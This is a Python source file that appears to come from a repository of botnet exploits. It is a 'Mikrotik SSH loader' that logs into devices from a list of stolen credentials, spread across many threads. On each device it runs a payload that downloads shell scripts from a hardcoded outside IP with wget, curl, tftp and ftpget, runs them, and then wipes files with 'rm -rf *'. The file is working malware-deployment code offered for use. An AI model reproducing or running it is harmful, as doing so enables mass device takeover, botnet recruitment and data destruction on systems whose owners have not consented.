Path: blob/master/Botnets/Exploits/MIKROTIK SSH LOADER/Mikrotik.py
5038 views
#!/usr/bin/python1#Mikrotik loader made by slumpthegod @telnut2#Corrections made by @babyyrex3#creds to babyyrex for the payload detection4#closed port fix by slump5#made simply for kowai67import sys, re, os, paramiko, socket8from threading import Thread9from time import sleep10from Queue import *1112queue = Queue()13queue_count = 01415if len(sys.argv) < 2:16sys.exit("\033[37mUsage: python "+sys.argv[0]+" [vuln list]")17ip = "138.68.21.206"18payload = "cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://138.68.21.206/8UsA.sh; curl -O http://138.68.21.206/8UsA.sh; chmod 777 8UsA.sh; sh 8UsA.sh; tftp 138.68.21.206 -c get t8UsA.sh; chmod 777 t8UsA.sh; sh t8UsA.sh; tftp -r t8UsA2.sh -g 138.68.21.206; chmod 777 t8UsA2.sh; sh t8UsA2.sh; ftpget -v -u anonymous -p anonymous -P 21 138.68.21.206 8UsA1.sh 8UsA1.sh; sh 8UsA1.sh; rm -rf 8UsA.sh t8UsA.sh t8UsA2.sh 8UsA1.sh; rm -rf *"19print "\033[35m"2021lines = open(sys.argv[1],"r").readlines()22paramiko.util.log_to_file("/dev/null")2324def send_payload(username,password,ip): #simple layout u can change if u want25try:26port = 2227ssh = paramiko.SSHClient()28ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())29ssh.connect(ip, port = port, username=username, password=password, timeout=3)30ssh.exec_command(payload)31print "\x1b[1;37m Mikrotik Attempt \x1b[1;33m-- \x1b[1;35m" + ip + "\033[37m"32sleep(15)33ssh.close()34except:35pass3637def check(login):38if login.startswith("DUP"): #Making sure dups dont join39return40s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)41s.settimeout(5)42try:43s.connect((login.split(":")[2], 22))44s.close()45send_payload(login.split(":")[0], login.split(":")[1], login.split(":")[2])46except:47pass4849def load_queue(to_open):50global queue_count51for line in open(str(to_open), "r").readlines():52line = line.strip("\r\n")53queue_count += 154sys.stdout.write("\r[%d] Added to queue" % (queue_count))55sys.stdout.flush()56queue.put(line)57sys.stdout.write("\n")5859def main():60if len(sys.argv) < 2:61sys.exit("%s [list]" % (sys.argv[0]))62i = 063load_queue(sys.argv[1])64while i != queue_count:65i += 166try:67input = queue.get()68thread = Thread(target=check, args=(input,))69thread.start()70except KeyboardInterrupt:71sys.exit("Interrupted? (ctrl + c)")72thread.join()73return7475if __name__ == "__main__":76main()77787980